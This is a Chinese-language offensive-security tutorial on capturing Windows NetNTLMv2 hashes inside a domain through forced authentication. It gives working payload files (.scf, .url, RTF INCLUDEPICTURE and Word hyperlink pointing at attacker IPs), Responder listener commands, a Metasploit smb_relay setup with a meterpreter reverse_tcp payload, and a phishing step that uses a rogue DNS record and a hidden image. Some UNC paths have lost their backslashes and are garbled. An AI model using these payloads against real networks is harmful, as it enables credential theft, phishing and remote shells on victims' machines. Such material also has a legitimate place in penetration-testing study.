1.0前言
在拿下一台机器后一般都是直接抓取密码,其实我们可以通过一些域内水坑攻击了获取更多的哈希值。
2.0 SMB共享– SCF文件攻击
SMB是一种协议,在组织中广泛用于文件共享。在内网渗透中,我们常常在文件共享中发现包含敏感信息(例如,纯文本密码和数据库连接字符串)的文件,虽然文件共享不包含任何可用于连接到其他系统的数据,但如果未经身份验证的用户配置了写权限,也可能会获得域用户的密码哈希或Meterpreter Shell。
散列哈希
我们可以使用SCF(Shell命令文件)文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。但是,如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击。
我们可以所有以下代码保存为.scf文件然后放进文件共享中。
[Shell]
Command=2
IconFile=\X.X.X.Xsharepentestlab.ico
[Taskbar]
Command=ToggleDesktop
我这里使用
攻击机:kali 192.168.50.146 web机:192.168.50.148 10.10.10.8 DC:10.10.10.10
保存为.scf文件放在文件共享中
攻击机监听:
esponder -wrf --lm -v -I eth0
不用点击,只要访问到文件就能抓到hash
当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的8字节质询密钥,并使用此质询密钥再次加密散列的NTLM / LANMAN密码。我们将捕获NTLMv2哈希。
除了esponder之外,在MSF中也有相同的模块可用于捕获来自SMB客户端的挑战响应密码哈希。
auxiliary/server/capture/smb
设置好叁数后就可以了,当用户浏览相同共享时,Metasploit将捕获其密码哈希。
Meterpreter shell
上面的技术的主要优点是不需要任何用户交互,并自动强制用户连接到不存在的共享进行NTLMv2哈希进行协商。我们也可以将该技术与SMB中继相结合,后者提供有效载荷,以便从将访问共享的每个用户那里获取一个Meterpreter shell。
我们使用exploit/windows/smb/smb_relay模块
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST xxxxxxx
exploit
将建立一个SMB服务器,该服务器将通过使用用户名和密码哈希与目标进行身份验证,在可写共享上交付有效负载,以用户的权利作为服务执行有效负载,执行清理并进行Meterpreter会话。
3.0 通过超链接
新建一个word文档,然后建立一个超链接
\192.168.50.146newyork.exe
注意这里指向我们自己的IP
可以加一些迷惑性的文字。
在kali中监听一下
responder -I eth0
当目标打开之后就可以获得hash
我这里获取不到,但是我昨天还是可以的,,,,,
4.0 通过URL
c:link.url@victim
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\10.0.0.5%USERNAME%.icon
IconIndex=1
保存为.url文件上传到目标中
在kali中监听一下
responder -I eth0
然后目标访问到即可拿到hash
5.0通过.RTF
file.rtf
{rtf1{field{*fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \* MERGEFORMAT\d}}{fldrslt}}}
上传到目标中
在kali中监听一下
responder -I eth0
6.0 通过.xml文件
MS Word文档可以保存为.xml文件
这可以利用其中一个标签请求文档的样式表(第3行)从攻击者控制服务器。受害者系统将分享其NetNTLM散列与攻击者试图验证攻击者的系统:
7.0 通过IncludePicture执行
新建一个Word文档,插入一个新的 IncludePicture :
保存为XML
注意要改ip地址
只要目标启动即可拿到hash
8.0 通过HTTP 图像和内部DNS
如果我们在网络中立足,可以执行以下操作:
在域内创建一个新的DNS A记录(任何经过身份验证的用户都可以做到),然后将其指向外部服务器 例如offense.local1.1.1.1
可以使用PowerMad
https://github.com/Kevin-Robertson/Powermad
Invoke-DNSUpdate -dnsname vpn -dnsda
在服务器1.1.1.1上,启动并侦听端口80上的HTTP连接
创建包含以下内容的网络钓鱼电子邮件 随意将图片设为1x1像素或隐藏 请注意,解析为我们的服务器,但仅来自域内部http://vpn.offense.local1.1.1.1offense.local
将网络钓鱼发送到域中的目标用户offense.local 网络钓鱼收件人查看电子邮件,该电子邮件会自动尝试从中加载图像,然后将其解析为(端口80上响应程序变亮的位置)http://vpn.offense.localhttp://1.1.1.1
那么我们无需目标用户交互即捕获NetNLTMv2哈希
参考
https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-hyperlink https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/ https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ https://medium.com/@markmotig/a-better-way-to-capture-hashes-with-no-user-interaction-by-markmo-bd1569bfa208 https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/ https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html